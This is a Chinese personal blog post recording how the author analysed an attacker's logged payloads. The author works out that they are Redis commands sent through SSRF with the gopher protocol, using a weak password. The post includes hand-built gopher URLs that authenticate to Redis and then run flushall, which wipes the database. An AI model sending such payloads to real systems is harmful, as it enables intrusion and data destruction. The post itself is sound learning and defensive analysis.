LOFTER for ipad —— 让兴趣,更有趣

点击下载 关闭
日常学习记录-redis、ssrf、gopher
菜狗子 2021-04-26

事件描述

起因是在查询某攻击IP过程中发现某平台记录了该IP的一些信息如下:

1、主机信息: 

关键信息未提取出来:首先情报平台发现了该IP开放了8834端口,但是这个端口是干什么的呢?下意识的访问了下:已经访问不了了!其实这张图片已经显示了扫描时间和服务:Date: Mon, 05 Apr 2021 09:37:28 GMT,Server: NessusWWW。

信息:该攻击IP曾于2021年4月5日前后使用了Nessus扫描器进行攻击。

2、近期活动

依赖于情报平台强大的信息收集能力,除了能看到详细的PDNS信息外,还能看到近期攻击活动记录,通过这个payload你能看出什么呢?

提取一下payload:

1、WdFQUx3QUFBUUFBQUJvQUJnRUFJQUFCQWdBaEFBRURBQ0lBQkFRQUpnQUIvd0FBQUFBQUFBQUFBQUFBQUFBPQ==

2、S2pJTkNpUTBEUXBoZFhSb0RRb2tOdzBLWVRFeU16UTFOZzBL

bse64解码:

1、/ !"&

2、数据如下:

我定睛一看,auth应该是认证吧,下面还有弱口令,难道是使用弱口令登录,但这个*2、$4、$7啥意思?

答案如下:

ssrf漏洞利用过程中使用gopher协议进行内网redis漏洞攻击(非未授权,弱口令+攻击)

知识深化

由于之前复现过的漏洞是直接空口令进行登录然后写计划任务、写key什么的,原来也是需要认证的,用的就是auth+密码,相关工具如下:

https://www.cnblogs.com/nul1/p/11598396.html

关键的就是这个*2、$4、$7这几个。请见这篇文章:

https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher

redis协议特别简单,简单到可以被直接读懂, 协议格式如下

*<参数数量> CR LF

$<参数 1 的字节数量> CR LF

<参数 1 的数据> CR LF ... 

$<参数 N 的字节数量> CR LF

<参数 N 的数据> CR LF

然后我看了这个脚本的实现过程,就是按行提取cmd里面的命令个数和命令字节数,然后构建payload:

虚拟一个场景浮现下:

使用a123456的口令登录redis,并进行后续攻击行为:

这块还是熟悉下命令吧:


连接redis:redis-cli-h 192.168.63.130

查看redis版本信息、一些具体信息、服务器版本信息等等:192.168.63.130:6379>info

将变量x的值设为test:192.168.63.130:6379>setx "test"

获取设置的某个变量的值:192.168.63.130:6379>getx

`flushall`是把整个redis数据库删除,一般情况下不要用!!!192.168.63.130:6379>flushall

查看所有键:192.168.63.130:6379>KEYS *

获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。192.168.63.130:6379>CONFIGGET dir

192.168.63.130:6379>CONFIGGET dbfilename


生成代码:

gopher://127.0.0.1:6379/_%2a%32%0d%0a%24%34%0d%0a%61%75%74%68%0d%0a%24%37%0d%0a%61%31%32%33%34%35%36%0d%0a

gopher://127.0.0.1:6379/_%2a%32%0d%0a%24%34%0d%0a%61%75%74%68%0d%0a%24%37%0d%0a%61%31%32%33%34%35%36%0d%0a%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a

至于这个_,为啥会有个这个呢,应该是占位符,这个介绍挺详细的:

Gopher协议在SSRF漏洞中的深入研究(附视频讲解) - 知乎 (zhihu.com)

自己试验了下,换成别的不影响编码输入的也行

这篇文章已经很详细了,但是redis不是web应用,所以没提及参数的事情

反思

反思了一下这个事情,还是:纸上得来终觉浅,绝知此事要躬行,还是没有见过,多反思多总结。




推荐文章
评论(0)
分享到
转载我的主页